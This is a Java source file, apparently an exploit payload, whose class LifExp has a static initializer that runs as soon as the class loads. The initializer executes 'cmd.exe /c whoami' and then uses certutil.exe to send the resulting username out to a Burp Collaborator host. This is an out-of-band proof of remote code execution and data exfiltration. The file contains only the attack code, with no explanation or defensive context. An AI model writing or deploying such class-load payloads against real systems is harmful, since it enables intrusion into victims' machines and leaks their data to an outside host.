import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class LifExp {

static {

try {
            String[] cmd = {"cmd.exe", "/c", "whoami"};
            Process process=java.lang.Runtime.getRuntime().exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String s= stdInput.readLine();
            String[] cmd2 = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f http://XXXXXXXX.burpcollaborator.net/"+s+""};
            java.lang.Runtime.getRuntime().exec(cmd2);
        } catch ( Exception e ) {
            e.printStackTrace();
        }

}
}